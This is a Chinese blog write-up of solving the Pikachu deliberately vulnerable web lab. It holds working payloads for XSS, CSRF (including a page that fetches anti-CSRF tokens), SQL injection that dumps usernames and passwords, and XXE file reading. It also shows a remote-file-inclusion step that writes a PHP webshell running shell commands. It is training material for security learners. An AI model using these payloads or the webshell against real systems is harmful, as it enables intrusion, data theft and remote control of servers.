【Web安全】pikachu靶场做题过程

pikachu靶场

文章目录

暴力破解

基于表单的暴力破解

第一题是基于表单的暴力破解,随便输入账号密码,使用burpsuite抓包,发送到Intruder模块进行爆破,这里假设我们需要爆破admin管理员的数据:

接着设置payloads,这里导入我的密码集,点击start attack:

根据返回包的长度确定,密码为123456

验证码绕过(on server)

题目背景:我们并不知道管理员密码是多少,因为需要验证码所以爆破起来遇到了困难。

点击F12查看验证码图片的元素可以发现,每点击一次就会发送到后端:

html 复制代码
<img src="../../inc/showvcode.php" onclick="this.src='../../inc/showvcode.php?'+new Date().getTime();">
  • 我们先输入错误的验证码发现会显示验证码错误并且burpsuite抓到包了,所以得出这是后端验证的,和题目标题吻合。
  • 我们输入一个正确的验证码,会发现有两个包,其中最后一个包是发送到改变验证码脚本的,我们先试着把这个包放掉,看看后面的验证码可以使用前一个的不?

由上可知,当验证码正确的时候会校验账号密码。接着放掉第二个包不让验证码刷新,再提交一次表单,输入上一次的验证码,得到验证码可以再一次使用,所以可以进行上一关一样的爆破方法。

验证码绕过(on client)

  • 使用F12查看源代码,查看产生验证码的元素:
html 复制代码
<input type="text" onclick="createCode()" readonly="readonly" id="checkCode" class="unchanged" style="width: 100px">
  • 通过上面的代码可以发现存在鼠标事件onclick,指向的是一个函数,我们查看这一个函数:

可以知道这是一个javascript函数,是个摆设我们只需要在浏览器设置禁用js代码即可实现绕过,之后的intruder模块破解密码同上。

token防爆破?

token参数是附在url中的,目的就是为了为每一个请求表单都附上唯一性,token很长,但也不是不可以绕过的,有时候token的值会在元素之中只不过被隐藏了而已。

这一道题在我们进行请求的时候token的值附在了username和password后面,这说明token有可能在form表单之中只不过被隐藏了。

查看form表单,可以发现以下代码,token的的属性被设置为hidden这说明在页面之中是不显示的。

html 复制代码
<input type="hidden" name="token" value="2457165ec020f53c6e353867747">

burpsuite的intruder可以根据页面的内容来改变每一次的请求:

首先将数据报发送到intruder模块,接着选中要爆破的对象,这里是密码和token值。Settings-->Grep-Extract-->Add-->fetch response接着选中token的值复制即可,模块会自动进行正则匹配,点击OK。

回到Payloads选项,将密码爆破对象配置好就行。

Cross-Site Scripting

反射型xss(get)

在输入框中随便输入一些东西,发现输入的内容回显至界面,F12查看回显内容的元素,因此构造闭合使用script标签。

html 复制代码
<p class="notice">who is 123123,i don't care!</p>

在输入内容时候发现有长度限制,查看元素发现是前端有长度限制:

html 复制代码
<input class="xssr_in" type="text" maxlength="20" name="message">

对此我使用harkbar或者抓包修改:

复制代码
http://192.168.221.129/pikachu/vul/xss/xss_reflected_get.php?message=123123<script>alert(1)</script>&submit=submit

反射型xss(post)

这一道题是需要登录进去的,所以我们使用管理员账号登录进去发现是一个输入框,我们可以在这里构造xss攻击。对于需要登录的xss攻击,攻击者可以构造带有脚本代码的url或者使用钓鱼网站让用户点击进行构造好的表单,由于cookie的有效期一般不是很短,所以攻击者可以获取用户有效的cookie。

存储型xss

这类xss攻击危害型很大,会导致网络蠕虫攻击,每一个看到这个留言板的人都会执行脚本代码。

复制代码
123<input type='text' onfocus='alert(1)' value=''>
123<script>alert(1)</script>

DOM型xss

DOM型xss是不会与数据库进行交互的,我们输入的内容会会回显到页面上,F12发现我们输入的东西会成为一个链接,所以使用javascript伪协议:

html 复制代码
<a href="javascript:alert(1)">what do you see?</a>

DOM型xss-x

这一关对输入的内容进行隐藏,隐藏的方式很简单也就是点击一下它的"伤心往事"就会弹出来了,第一个点击存在鼠标事件onclick:

html 复制代码
<a href="#" onclick="domxss()">有些费尽心机想要忘记的事情,后来真的就忘掉了</a>

查看domxss函数发现,我们输入的内容没有进行过滤就直接拼接到第二个点击之中:

所以还是可以使用javascript伪协议:

xss之盲打

打开网站发现这是一个反馈区,所以我们可以在反馈内容之中插入脚本代码,只要后台管理员看到了他的cookie就会被盗取


xss之过滤

输入<script>alert(1)</script>发现<script被过滤了,所以我们不用script标签,使用input的鼠标事件

复制代码
123<input type="text" onclick=alert(1) value=''>

xss之htmlspeacialchars

这一道题感觉使用的htmlspeacialchars函数没有用上,F12查看元素就会发现可以直接使用伪协议就不用想怎么去绕过了:

xss之href输出

我们输入之后会出现一个跳转语句,F12查看元素发现输入的数据回显至href之中,所以使用javascript伪协议:

xss之js输出

输入数据之后没有回显,想想是js输出那就试试找js代码,F12发现存在有js函数

js 复制代码
<script>
   $ms='123';
   if($ms.length != 0){
       if($ms == 'tmac'){
           $('#fromjs').text('tmac确实厉害,看那小眼神..')
       }else {
//            alert($ms);
           $('#fromjs').text('无论如何不要放弃心中所爱..')
       }

   }
</script>

我们输入只要输入tmac就行了,所以我们构造if的闭合:

复制代码
1)<script>alert(1)</script>('

CRSF

CRSF(get)

攻击者使用钓鱼网站诱惑用户点击,而去处就是修改用户信息的界面,由于用户本身有cookie而cookie有一定时效性所以伪造的网站可以修改受害者的信息。

html 复制代码
<a href="http://192.168.229.199/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=666&phonenum=666&add=666&email=666&submit=submit">hahahahaha</a>

CSRF(post)

html 复制代码
<form action="http://192.168.229.202/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" id="register" method="post" >

   <input type=text name="sex" value=""/>
   <input type=password name="phonenum" value=""/>
   <input type=text name="add" value=""/>
   <input type=text name="email" value=""/>
   <input type=submit name="submit" value="submit"/>

</form>

<script>
   var f = document.getElementById("register");
   f.elements["sex"].value = "test";
   f.elements["phonenum"].value = "test";
   f.elements["add"].value = "test";
   f.elements["email"].value = "test";
   setTimeout(function() { f.submit(); }, 1000);
</script>

这一道题也是一样,攻击者可以伪造一个钓鱼网站来修改用户信息。同样上面的input元素也可以使用hidden隐藏起来。

CSRF Token

使用了token参数貌似可以避免CRSF钓鱼攻击,但是js其实可以爬取网站的源代码的,如下代码:

js 复制代码
<!DOCTYPE html>
<html lang="en">

<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title>CSRF Token Fetcher</title>
   <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
</head>

<body>

   <form action="http://192.168.221.129/pikachu/vul/csrf/csrftoken/token_get_edit.php" id="register" method="get">
       <input type="hidden" name="sex" value="crsf">
       <input type="hidden" name="phonenum" value="crsf">
       <input type="hidden" name="add" value="crsf">
       <input type="hidden" name="email" value="crsf">
       <input type="hidden" name="token" id="token" value="">
       <input type="submit" name="submit" value="Submit">
   </form>

   <script>
       document.addEventListener('DOMContentLoaded', function () {
           fetchToken();
       });

       function fetchToken() {
           fetch('http://192.168.221.129/pikachu/vul/csrf/csrftoken/token_get_edit.php')
               .then(response => response.text())
               .then(html => {
                   const parser = new DOMParser();
                   const doc = parser.parseFromString(html, 'text/html');
                   const tokenInput = doc.querySelector('input[type="hidden"][name="token"]');
                   if (tokenInput) {
                       const tokenValue = tokenInput.value;
                       document.getElementById('token').value = tokenValue;
                       alert('Token Value: ' + tokenValue); // 弹出警告框显示token值 
                   } else {
                       console.error('Failed to find the token input field.');
                   }
               })
               .catch(error => {
                   console.error('Error fetching token:', error);
               });
       }  
   </script>

</body>

</html>

SQL-Inject

数字型注入(post)

确认闭合方式,得到是数字型注入

复制代码
id=1'

查看字段数,得到字段数是2段

复制代码
id=1 order by 2
id=1 order by 3

查看回显位,发现1和2都可以

复制代码
id=-1 union select 1,2

获取数据

复制代码
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
id=-1 union select 1,group_concat(username,0x3a,password) from users

字符型注入(get)

判断闭合发现这是单引号闭合

复制代码
?name=a' -- #

接着直接获取全部数据就行了

复制代码
?name=kobe' or '1'='1

或者使用报错注入获取想要的数据:

复制代码
?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) and '1'='1 

?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) and '1'='1

?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3) and '1'='1 

搜索型注入

简单输入一些东西发现这是使用了like模糊搜索,所以闭合的时候要加上百分号

复制代码
?name=k%' or '1'='1'--+

所以可以知道这是百分号加上单引号闭合,由于尝试的时候有报错信息,所以直接使用报错注入

复制代码
?name=k%' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
?name=k%' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+
?name=k%' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)--+

xx型注入

由报错信息得知这是单引号加括号闭合,所以构造闭合

复制代码
?name=1') --+

由于有报错信息所以使用报错注入

复制代码
?name=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
?name=1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+
?name=1') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)--+

"insert/update"注入

在注册一个账号然后登录进去,看到一个修改个人信息界面,在修改电话号后加一个单引号发现存在报错,所以进行闭合

复制代码
sex=123&phonenum=123'#&add=123&email=123&submit=submit

利用报错注入获取数据

复制代码
sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&add=123&email=123&submit=submit
sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where  table_name='users' and table_schema=database())),3)#&add=123&email=123&submit=submit
sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)#&add=123&email=123&submit=submit

"delete"注入

随便加个单引号得出是数字型注入,并且由报错信息判断可以使用报错注入

复制代码
?id=56 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)
?id=56 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)
?id=56 and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)

"http header"注入

登陆进去发现网站记录了我的ip地址,user agent,http accept和端口,所以我选择在user agent中注入:

复制代码
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where tabel_schema=database())),3) or '

盲注(base on boolian)

没有报错信息没有回显位,只有查询到和不查询到所以可以使用布尔盲注

复制代码
?name=kobe' and substr(database(),1,1)='p

通过改变每一位猜测的数字可以得到数据。

盲注(base on time)

没有报错信息没有回显,并且搜索成功与否的界面是一样的,所以考虑使用时间盲注

宽字节注入

使用%df与转移符号结合,使得引号有效

RCE

exec "ping"

exec "evel"

这是一个evel危险函数,输入phpinfo();看一下效果:

File Inclusion

File Inclusion(local)

为了更好表现文件包含漏洞,我在服务端创建了一个test.txt,首先我们先进行抓包,然后参数filename为test.txt:

同时我们可以利用目录穿越../来获取敏感文件

File Inclusion(remote)

远程文件包含可以允许远程包含函数去读取远程站点上的代码文件,那就意味着。攻击者,可以自己搭一个站点,然后再上面放一个代码,这个代码文件就是攻击者自己控制的,它想怎么写就怎么写,然后在把对应的路径通过前端传到后台,那后台的包含函数,就会对远程路径下的文件进行加载,这个危害是非常大的,比如说,我们可以直接在远端去写一句话木马,然后让本地去执行,这意味着,我们直接把一句话木马,就放到了我们的目标站点上,然后就是实现了目标站点上的远程控制

pikachu下有一个test目录,里面有一个txt文件,下面是这个文件的内容,意思就是创建一个shell.php文件,作用是一句话木马。

复制代码
<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */
$myfile = fopen("yijuhua.php","w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>

首先先进行抓包,修改filename:

可以看到文件包含目录下出现了一个一句话木马文件:

Unsafe Filedownload

Unsafe Filedownload

点击球员图片进行下载,用burpsuite进行抓包,利用目录穿越修改下载地址:

Unsafe Fileupload

client check

这种检查是在用户的浏览器端进行的。它可能包括检查文件扩展名、文件大小等。这里使用phpinfo()进行测试。上传php文件会出现弹窗:

所以我们上传png文件,用burpsuite抓包,修改filenama的后缀

上传成功,得到文件保存路径,就可以访问了。

MIME type

MIME类型是一种标准,用来表示文件的格式。服务器可以检查上传文件的MIME类型,以确定它是否为可接受的类型。直接上传php文件,发现客户端没有对该文件进行拒绝,发送之后显示"上传的图片只能是jpg,jpeg,png格式的!",所以推断服务器端对文件类型进行了限制。所以我们进行抓包,对请求头的Content-Type进行修改,对于Content-type是什么,可以自行搜索。

上传成功,得到文件保存路径,就可以访问了。

getimagesize

这个php函数会判断你上传文件的特点,比如说尺寸、文件头等等。常见的绕过方式为:文件头修改、双重扩展名、特别构造图像文件等。常见的文件头标志如下:

  • JPEG/JPG:FFD8FF
  • PG:89504E47
  • GIF:474946383961
  • HTML:68746D6C3E
    这里就使用GIF,其中474946383961是GIF89a的ASCII HEX的转换。
  • 得到文件的路径之后还不可以直接访问,因为它会把文件当作图片来解析,此时就需要文件包含漏洞来解析。

Over Permission

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

未授权

首先这一道题先点击右上角得到账号密码,我这里是登录lucy的账号,进去之后开启抓包,点击查看个人信息,包里的usernama是可以随意改的,这就是未授权:

水平越权

首先这一道题先点击右上角得到账号密码,我这里是登录lucy的账号,进去之后开启抓包,点击查看个人信息,包里的usernama是可以随意改的,这就是水平授权,这里和上面一样:

垂直越权

首先我们先登录超级用户admin,点击新增用户将包发送到repeater,退出登录普通用户pikachu,将pikachu用户的cookie复制下来替换repeater里面的cookie,这样也可增加新用户,这就是水平越权。

.../.../

目录遍历

敏感信息泄露

IcanseeyourABC

有时候为了测试会把一些信息放在源代码中然后就忘记删除了,这一关就是这样

php反序列化

php反序列化漏洞

php 复制代码
class S{
   var $test = "pikachu";
   function __construct(){
       echo $this->test;
   }
}
$html='';
if(isset($_POST['o'])){
   $s = $_POST['o'];
   if(!@$unser = unserialize($s)){
       $html.="<p>大兄弟,来点劲爆点儿的!</p>";
   }else{
       $html.="<p>{$unser->test}</p>";
   }

}

查看源代码,传入**O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}**构造php反序列化漏洞

XXE

XXE漏洞

php 复制代码
if(isset($_POST['submit']) and $_POST['xml'] != null){


   $xml =$_POST['xml'];
//    $xml = $test;
   $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
   if($data){
       $html.="<pre>{$data}</pre>";
   }else{
       $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
   }
}
xml 复制代码
<?xml version="1.0"?>  <!DOCTYPE foo [     <!ENTITY xxe SYSTEM "file://你想要的文件" > ]>  <foo>&xxe;</foo>

URL重定向

不安全的URL跳转

相关推荐
用户9623779544819 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954481 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star1 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954481 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行6 天前
网络安全总结
安全·web安全
red1giant_star6 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透6 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全